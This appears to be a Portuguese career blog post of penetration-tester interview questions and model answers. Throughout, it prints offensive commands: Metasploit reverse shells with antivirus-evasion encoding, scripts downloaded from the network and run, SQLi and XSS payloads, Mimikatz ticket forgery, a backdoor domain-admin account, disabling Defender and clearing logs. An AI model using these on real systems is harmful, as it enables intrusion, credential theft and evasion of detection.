dezembro 21, 2025
14 min de leitura

Perguntas de entrevista para penetration tester

interview
career-advice
job-search
Perguntas de entrevista para penetration tester
Milad Bonakdar

Milad Bonakdar

Autor

Prepare-se para entrevistas de penetration tester com perguntas práticas sobre escopo, reconhecimento, priorização de vulnerabilidades, Burp Suite, Metasploit, APIs, Active Directory e relatório.


Introdução

Uma boa resposta em entrevista de penetration tester mostra três coisas: você trabalha dentro do escopo autorizado, testa de forma metódica e explica o risco de um jeito útil para times técnicos e de negócio.

Use estas perguntas para praticar as partes centrais da função: escopo, reconhecimento, priorização de vulnerabilidades, Burp Suite, Metasploit, testes de API, Active Directory e relatório. Mantenha as respostas baseadas em testes autorizados, evidência clara e correção.


Fundamentos de Teste de Penetração

1. Quais são as fases de um teste de penetração?

Resposta: Uma boa metodologia começa antes de qualquer varredura. Primeiro confirme autorização por escrito, escopo, regras de engajamento, janelas de teste, limites de tratamento de dados e contatos de emergência. Depois avance de forma repetível:

1. Escopo e planejamento:

  • Confirmar autorização por escrito, alvos, exclusões e regras de engajamento
  • Definir objetivos, critérios de sucesso, canais de comunicação e condições de parada

2. Reconhecimento e descoberta:

  • Coletar informações passivas e ativas
  • Identificar hosts, serviços, fluxos da aplicação, papéis de usuário e superfície exposta

3. Análise de vulnerabilidades:

  • Relacionar achados a impacto de negócio e explorabilidade
  • Validar manualmente os resultados de scanners antes de tratá-los como achados

4. Exploração e pós-exploração:

  • Explorar apenas fraquezas dentro do escopo e necessárias para provar impacto
  • Verificar limites de privilégio, caminhos de movimentação lateral e exposição de dados sem ultrapassar as regras

5. Relatório, limpeza e reteste:

  • Documentar evidências, impacto, passos de reprodução e correção
  • Remover artefatos de teste, explicar resultados e retestar correções quando solicitado
Loading diagram...

Exemplo de Reconhecimento:

# Reconhecimento passivo
whois target.com
nslookup target.com
dig target.com ANY

# Reconhecimento ativo
nmap -sn 192.168.1.0/24  # Descoberta de hosts
nmap -sV -sC target.com  # Detecção de serviço/versão

Raridade: Muito Comum
Dificuldade: Média


Avaliação de Vulnerabilidades

2. Como você prioriza as vulnerabilidades?

Resposta: Use CVSS como ponto de partida e ajuste com explorabilidade, criticidade do ativo, sensibilidade dos dados, exposição, controles compensatórios e exploração ativa conhecida. Na entrevista, mostre que você não trata todo resultado de scanner como igualmente urgente.

Pontuação CVSS:

  • Crítica (9.0-10.0): Execução remota de código, desvio de autenticação
  • Alta (7.0-8.9): SQL injection, XSS com acesso a dados
  • Média (4.0-6.9): Divulgação de informações, CSRF
  • Baixa (0.1-3.9): Vazamento de informações menores

Fatores de Priorização:

def calculate_risk_score(vulnerability):
    """Calcula a pontuação de risco para a vulnerabilidade"""
    # Pontuação CVSS base
    cvss_score = vulnerability.cvss_score
    
    # Explorabilidade
    if vulnerability.exploit_available:
        exploitability = 1.5
    elif vulnerability.poc_available:
        exploitability = 1.2
    else:
        exploitability = 1.0
    
    # Criticidade do ativo
    asset_value = {
        'critical': 3.0,  # Banco de dados de produção
        'high': 2.0,      # Aplicação web
        'medium': 1.5,    # Ferramenta interna
        'low': 1.0        # Ambiente de teste
    }[vulnerability.asset_criticality]
    
    # Sensibilidade dos dados
    data_sensitivity = {
        'pii': 2.0,       # Dados pessoais
        'financial': 2.5, # Informações de pagamento
        'confidential': 1.5,
        'public': 1.0
    }[vulnerability.data_type]
    
    risk_score = cvss_score * exploitability * asset_value * data_sensitivity
    return min(risk_score, 10.0)  # Limite em 10

Raridade: Muito Comum
Dificuldade: Média


Metasploit

3. Como você usa o Metasploit para explorar uma vulnerabilidade?

Resposta: Fluxo de trabalho do Metasploit Framework:

Exploração Básica:

# Iniciar Metasploit
msfconsole

# Pesquisar por exploit
search ms17-010  # EternalBlue

# Usar exploit
use exploit/windows/smb/ms17_010_eternalblue

# Mostrar opções
show options

# Definir alvo
set RHOSTS 192.168.1.100

# Definir payload
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444

# Verificar se o alvo é vulnerável
check

# Executar exploit
exploit

Comandos Meterpreter:

# Informações do sistema
sysinfo
getuid

# Elevação de privilégios
getsystem

# Despejar credenciais
hashdump
load kiwi
cred_all

# Persistência
run persistence -X -i 60 -p 4444 -r 192.168.1.50

# Pivoting
run autoroute -s 10.0.0.0/24
portfwd add -l 3389 -p 3389 -r 10.0.0.10

Geração de Payload:

# Gerar reverse shell
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o payload.exe

# Codificar para evadir AV
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o encoded_payload.exe

Raridade: Muito Comum
Dificuldade: Médio-Difícil


4. Como você realiza a elevação de privilégios?

Resposta: A elevação de privilégios explora configurações incorretas para obter níveis de acesso mais altos.

Elevação de Privilégios no Linux:

1. Enumeração:

# Informações do sistema
uname -a
cat /etc/issue
cat /etc/*-release

# Usuário atual e privilégios
id
sudo -l

# Usuários e grupos
cat /etc/passwd
cat /etc/group

# Binários SUID
find / -perm -4000 -type f 2>/dev/null

# Diretórios graváveis
find / -writable -type d 2>/dev/null

# Tarefas Cron
crontab -l
cat /etc/crontab
ls -la /etc/cron*

# Conexões de rede
netstat -antup
ss -tulpn

2. Técnicas Comuns:

Exploração SUID:

# Encontrar binários SUID
find / -perm -u=s -type f 2>/dev/null

# Exemplo: Explorando find
find /home -exec /bin/sh \; -quit

# Exemplo: Explorando vim
vim -c ':!/bin/sh'

# Exemplo: Explorando nmap (versões antigas)
nmap --interactive
nmap> !sh

Configuração Incorreta do Sudo:

# Verificar permissões do sudo
sudo -l

# Exemplo de saída:
# (ALL) NOPASSWD: /usr/bin/vim

# Explorar vim
sudo vim -c ':!/bin/sh'

# Exemplo: LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so find

Exploits de Kernel:

# Verificar a versão do kernel
uname -r

# Pesquisar por exploits
searchsploit linux kernel 4.4.0

# Exemplo: Dirty COW
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password

3. Ferramentas Automatizadas:

# LinPEAS (Linux Privilege Escalation Awesome Script)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

Elevação de Privilégios no Windows:

1. Enumeração:

# Informações do sistema
systeminfo
hostname
whoami /all

# Usuários e grupos
net user
net localgroup administrators

# Processos em execução
tasklist /v
wmic process list full

# Serviços
sc query
wmic service list brief

# Tarefas agendadas
schtasks /query /fo LIST /v

# Conexões de rede
netstat -ano

# Software instalado
wmic product get name,version

2. Técnicas Comuns:

Caminhos de Serviço Não Citados:

# Encontrar caminhos de serviço não citados
wmic service get name,pathname,displayname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Explorar
C:\Program Files\Vulnerable App\service.exe
# Criar executável malicioso em:
C:\Program.exe

AlwaysInstallElevated:

# Verificar registro
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Se ambos forem 1, criar MSI malicioso
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi

Impersonificação de Token:

# Meterpreter
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

3. Ferramentas Automatizadas:

# WinPEAS
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')
Invoke-WinPEAS

# PowerUp
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks

# Sherlock (Exploits de Kernel)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
Find-AllVulns

Raridade: Muito Comum
Dificuldade: Difícil


Burp Suite

5. Como você encontra SQL Injection usando o Burp Suite?

Resposta: Teste sistemático de SQL injection:

1. Interceptar Requisição:

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

2. Enviar para o Repeater: Testar payloads manualmente:

username=admin' OR '1'='1&password=test
username=admin' AND 1=1--&password=test
username=admin' UNION SELECT NULL--&password=test

3. Usar o Intruder:

Attack Type: Sniper
Payload Position: username=§admin§
Payload List:
  ' OR '1'='1
  ' OR 1=1--
  ' UNION SELECT NULL--
  ' UNION SELECT NULL,NULL--
  admin'--
  ' OR 'a'='a

4. Analisar Respostas:

  • Diferentes comprimentos de resposta
  • Mensagens de erro
  • Atrasos de tempo (blind SQLi)

Teste Avançado:

# Detecção de SQL injection cega
import requests
import time

def test_blind_sqli(url, param):
    # Detecção baseada em tempo
    payloads = [
        "' AND SLEEP(5)--",
        "' OR SLEEP(5)--",
        "'; WAITFOR DELAY '00:00:05'--"
    ]
    
    for payload in payloads:
        start = time.time()
        response = requests.post(url, data={param: payload})
        elapsed = time.time() - start
        
        if elapsed > 5:
            print(f"[+] Blind SQLi encontrado com payload: {payload}")
            return True
    
    return False

Raridade: Muito Comum
Dificuldade: Média


Teste de Aplicações Web

6. Como você testa vulnerabilidades XSS?

Resposta: Abordagem abrangente de teste de XSS:

Tipos de XSS:

  1. Refletido: Payload na URL/formulário, refletido imediatamente
  2. Armazenado: Payload armazenado no banco de dados
  3. Baseado em DOM: Vulnerabilidade JavaScript do lado do cliente

Metodologia de Teste:

1. Identificar Pontos de Injeção:

# Parâmetros da URL
http://target.com/search?q=<script>alert(1)</script>

# Entradas de formulário
<input name="comment" value="<script>alert(1)</script>">

# Cabeçalhos HTTP
User-Agent: <script>alert(1)</script>

2. Ignorar Filtros:

// Payloads básicos
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

// Ignorar filtros
<scr<script>ipt>alert(1)</script>
<img src=x onerror="alert(1)">
<IMG SRC=x ONERROR=alert(1)>  // Variação de caixa

// Manipuladores de eventos
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>

// Payloads codificados
&#60;script&#62;alert(1)&#60;/script&#62;
\u003cscript\u003ealert(1)\u003c/script\u003e

3. Teste XSS com Burp Suite:

Intruder Payload List:
  <script>alert(document.domain)</script>
  <img src=x onerror=alert(1)>
  <svg/onload=alert(1)>
  javascript:alert(1)
  <iframe src="javascript:alert(1)">

4. Escaneamento Automatizado:

# XSStrike
python xsstrike.py -u "http://target.com/search?q=test"

# Dalfox
dalfox url http://target.com/search?q=FUZZ

Raridade: Muito Comum
Dificuldade: Média


7. Como você testa a segurança da API?

Resposta: O teste de segurança da API se concentra na autenticação, autorização e validação de entrada.

Vulnerabilidades Comuns de API:

1. Autenticação Quebrada:

# Testar JWT fraco
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0..." https://api.example.com/user

# JWT com "alg": "none"
# Modificar payload e remover assinatura

2. Autorização Quebrada:

# IDOR (Insecure Direct Object Reference)
curl https://api.example.com/user/123
curl https://api.example.com/user/124  # Tentar outros IDs de usuário

# Testar diferentes métodos HTTP
curl -X DELETE https://api.example.com/user/123
curl -X PUT https://api.example.com/user/123 -d '{"role":"admin"}'

3. Atribuição em Massa:

# Tentar adicionar campos de administrador
curl -X POST https://api.example.com/register \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "password": "pass123",
    "role": "admin",
    "is_admin": true
  }'

Teste de API REST:

# Teste automatizado de API
import requests
import json

class APISecurityTester:
    def __init__(self, base_url, token=None):
        self.base_url = base_url
        self.headers = {}
        if token:
            self.headers['Authorization'] = f'Bearer {token}'
    
    def test_idor(self, endpoint, id_range):
        """Testar vulnerabilidades IDOR"""
        accessible_ids = []
        
        for user_id in range(id_range[0], id_range[1]):
            url = f"{self.base_url}/{endpoint}/{user_id}"
            response = requests.get(url, headers=self.headers)
            
            if response.status_code == 200:
                accessible_ids.append(user_id)
                print(f"[+] Acessível: {user_id}")
        
        return accessible_ids
    
    def test_rate_limiting(self, endpoint):
        """Testar limitação de taxa"""
        for i in range(1000):
            response = requests.get(
                f"{self.base_url}/{endpoint}",
                headers=self.headers
            )
            
            if response.status_code == 429:
                print(f"[+] Limitação de taxa aplicada após {i} requisições")
                return True
        
        print("[-] Nenhuma limitação de taxa detectada")
        return False
    
    def test_injection(self, endpoint, payloads):
        """Testar vulnerabilidades de injeção"""
        for payload in payloads:
            data = {"search": payload}
            response = requests.post(
                f"{self.base_url}/{endpoint}",
                headers=self.headers,
                json=data
            )
            
            # Verificar erros de SQL
            if any(err in response.text.lower() for err in 
                   ['sql', 'mysql', 'sqlite', 'postgresql', 'oracle']):
                print(f"[!] Potencial SQL injection: {payload}")
                print(f"Response: {response.text[:200]}")
    
    def test_authentication_bypass(self, login_endpoint):
        """Testar desvio de autenticação"""
        bypass_payloads = [
            {"username": "admin' OR '1'='1", "password": "anything"},
            {"username": "admin", "password": "' OR '1'='1"},
            {"username": "admin'--", "password": ""},
        ]
        
        for payload in bypass_payloads:
            response = requests.post(
                f"{self.base_url}/{login_endpoint}",
                json=payload
            )
            
            if response.status_code == 200:
                print(f"[!] Potencial desvio de autenticação: {payload}")

# Uso
tester = APISecurityTester('https://api.example.com')
tester.test_idor('users', (1, 100))
tester.test_rate_limiting('api/search')

Teste de GraphQL:

# Consulta de introspecção
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields {
        name
        args {
          name
          type { name }
        }
      }
    }
  }
}
# Injeção de GraphQL
query = '''
query {
  user(id: "1' OR '1'='1") {
    id
    username
    email
  }
}
'''

# Ataque de loteamento GraphQL
queries = [
    {"query": "query { user(id: 1) { id username } }"},
    {"query": "query { user(id: 2) { id username } }"},
    # ... repetir 1000 vezes
]

response = requests.post(
    'https://api.example.com/graphql',
    json=queries
)

API Fuzzing:

# Usando ffuf para API fuzzing
ffuf -w wordlist.txt -u https://api.example.com/FUZZ -mc 200,301,302

# Fuzzing de parâmetros
ffuf -w params.txt -u https://api.example.com/api?FUZZ=test -mc 200

# Fuzzing de métodos
for method in GET POST PUT DELETE PATCH OPTIONS; do
    curl -X $method https://api.example.com/api/resource
done

Postman/Burp Suite:

// Script de pré-requisição do Postman
const payload = "' OR '1'='1";
pm.environment.set("injection_payload", payload);

// Script de teste do Postman
pm.test("Verificar erro SQL", function () {
    pm.expect(pm.response.text()).to.not.include("SQL");
    pm.expect(pm.response.text()).to.not.include("mysql");
});

OWASP API Security Top 10:

  1. Autorização Quebrada no Nível do Objeto - Testar IDOR
  2. Autenticação Quebrada - Testar tokens fracos
  3. Exposição Excessiva de Dados - Verificar dados de resposta
  4. Falta de Recursos e Limitação de Taxa - Testar DoS
  5. Autorização Quebrada no Nível da Função - Testar elevação de privilégios
  6. Atribuição em Massa - Testar poluição de parâmetros
  7. Configuração Incorreta de Segurança - Verificar cabeçalhos, CORS
  8. Injeção - Testar SQLi, NoSQLi, injeção de comando
  9. Gerenciamento Impróprio de Ativos - Encontrar versões antigas da API
  10. Registro e Monitoramento Insuficientes - Verificar logs de auditoria

Raridade: Comum
Dificuldade: Médio-Difícil


Teste de Penetração de Rede

8. Como você realiza um teste de penetração de rede?

Resposta: Avaliação de rede estruturada:

1. Descoberta de Rede:

# Varredura de ping
nmap -sn 192.168.1.0/24

# Varredura ARP (rede local)
arp-scan -l

# Identificar hosts ativos
netdiscover -r 192.168.1.0/24

2. Escaneamento de Portas:

# Varredura TCP SYN (furtiva)
nmap -sS 192.168.1.100

# Detecção de versão do serviço
nmap -sV 192.168.1.100

# Detecção de SO
nmap -O 192.168.1.100

# Varredura agressiva
nmap -A -T4 192.168.1.100

# Todas as portas
nmap -p- 192.168.1.100

3. Escaneamento de Vulnerabilidades:

# Scripts Nmap NSE
nmap --script vuln 192.168.1.100

# Vulnerabilidade específica
nmap --script smb-vuln-ms17-010 192.168.1.100

# OpenVAS/Nessus para escaneamento abrangente

4. Exploração:

# Exploração SMB
use exploit/windows/smb/ms17_010_eternalblue

# Força bruta SSH
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

5. Pós-Exploração:

# Movimentação lateral
# Despejo de credenciais
# Elevação de privilégios
# Persistência

Raridade: Muito Comum
Dificuldade: Difícil


9. Como você ataca ambientes Active Directory?

Resposta: O Active Directory é um alvo principal com muitos vetores de ataque.

Enumeração:

# Enumeração PowerView
Import-Module PowerView.ps1

# Obter informações de domínio
Get-Domain
Get-DomainController

# Enumerar usuários
Get-DomainUser
Get-DomainUser -Identity administrator

# Enumerar grupos
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins"

# Encontrar compartilhamentos
Find-DomainShare -CheckShareAccess

# Encontrar computadores
Get-DomainComputer

BloodHound:

# Coletar dados com SharpHound
.\SharpHound.exe -c All

# Ou com PowerShell
Import-Module SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# Enviar JSON para a GUI do BloodHound
# Analisar caminhos de ataque para Domain Admins

Kerberoasting:

# Solicitar tickets de serviço
Import-Module Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat

# Ou com Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Quebrar com hashcat
hashcat -m 13100 hashes.txt wordlist.txt

AS-REP Roasting:

# Encontrar usuários com "Não exigir pré-autenticação Kerberos"
Get-DomainUser -PreauthNotRequired

# Solicitar AS-REP
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

# Quebrar
hashcat -m 18200 asrep_hashes.txt wordlist.txt

Pass-the-Hash:

# Usando Impacket
python3 psexec.py -hashes :ntlmhash [email protected]

# Usando CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H ntlmhash

# Despejar SAM
python3 secretsdump.py -hashes :ntlmhash [email protected]

Pass-the-Ticket:

# Exportar tickets com Mimikatz
mimikatz # sekurlsa::tickets /export

# Injetar ticket
mimikatz # kerberos::ptt ticket.kirbi

# Ou com Rubeus
.\Rubeus.exe ptt /ticket:ticket.kirbi

Golden Ticket:

# Obter hash krbtgt
mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt

# Criar golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:hash /id:500

# Injetar ticket
mimikatz # kerberos::ptt ticket.kirbi

Silver Ticket:

# Obter hash da conta de serviço
mimikatz # sekurlsa::logonpasswords

# Criar silver ticket para um serviço específico
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /target:server.example.com /service:cifs /rc4:hash

DCSync Attack:

# Mimikatz
mimikatz # lsadump::dcsync /domain:example.com /user:Administrator

# Impacket
python3 secretsdump.py example.com/user:[email protected]

Movimentação Lateral:

# PSExec
.\PsExec.exe \\target -u domain\user -p password cmd

# WMI
wmic /node:target /user:domain\user /password:password process call create "cmd.exe"

# PowerShell Remoting
Enter-PSSession -ComputerName target -Credential domain\user

# RDP
xfreerdp /u:domain\user /p:password /v:target

Persistência:

# Criar administrador de domínio
net user backdoor Password123! /add /domain
net group "Domain Admins" backdoor /add /domain

# Golden ticket (long-term)
# Silver ticket (serviço específico)

# Skeleton key (Mimikatz)
mimikatz # misc::skeleton
# Agora qualquer usuário pode autenticar com a senha "mimikatz"

Evasão de Defesa:

# Desativar o Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true

# Limpar logs de eventos
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Ofuscar PowerShell
Invoke-Obfuscation

Raridade: Comum
Dificuldade: Difícil


Relatório

10. O que um relatório de teste de penetração deve incluir?

Resposta: Estrutura abrangente de relatório:

Resumo Executivo:

  • Descobertas de alto nível
  • Impacto nos negócios
  • Visão geral do risco
  • Recomendações

Detalhes Técnicos:

Achado de exemplo: SQL Injection no Formulário de Login

Gravidade: Crítica (CVSS 9.8)

Descrição: O formulário de login em /admin/login é vulnerável a SQL injection, permitindo que invasores ignorem a autenticação e acessem o painel de administrador.

Ativo Afetado:

Prova de Conceito:

POST /admin/login HTTP/1.1
Host: target.com

username=admin' OR '1'='1'--&password=anything

Impacto:

  • Acesso não autorizado ao painel de administrador
  • Acesso a dados confidenciais do cliente
  • Potencial comprometimento do banco de dados

Correção:

  1. Usar consultas parametrizadas
  2. Implementar validação de entrada
  3. Aplicar o princípio do menor privilégio ao usuário do banco de dados

Raridade: Muito Comum
Dificuldade: Média


Conclusão

As entrevistas de testadores de penetração exigem experiência prática e profundo conhecimento técnico. Foque em:

  1. Metodologia: Abordagem de teste estruturada, documentação
  2. Avaliação de Vulnerabilidades: Priorização de risco, pontuação CVSS
  3. Ferramentas: Metasploit, Burp Suite, Nmap, scripts personalizados
  4. Elevação de Privilégios: Técnicas Linux e Windows, ferramentas de automação
  5. Teste Web: SQL injection, XSS, desvio de autenticação
  6. Teste de API: Segurança REST/GraphQL, falhas de autorização
  7. Teste de Rede: Escaneamento, exploração, movimentação lateral
  8. Active Directory: Kerberoasting, Pass-the-Hash, BloodHound
  9. Relatório: Documentação clara, impacto nos negócios, correção

Pratique em laboratórios legais e aplicações intencionalmente vulneráveis, crie uma checklist repetível e treine a escrita de achados com o mesmo cuidado que treina exploração. Bons candidatos explicam quando parar, como provar impacto com segurança e como ajudar o time a corrigir.

Newsletter subscription

Dicas de carreira semanais que realmente funcionam

Receba as últimas ideias diretamente na sua caixa de entrada

Pare de Se Candidatar. Comece a Ser Contratado.

Transforme seu currículo em um ímã de entrevistas com otimização impulsionada por IA em que candidatos a emprego em todo o mundo confiam.

Comece grátis

Compartilhar esta publicação

Duplique Seus Retornos de Entrevista

Candidatos que adaptam seus currículos à descrição da vaga obtêm 2,5 vezes mais entrevistas. Use nossa IA para personalizar automaticamente seu CV para cada candidatura instantaneamente.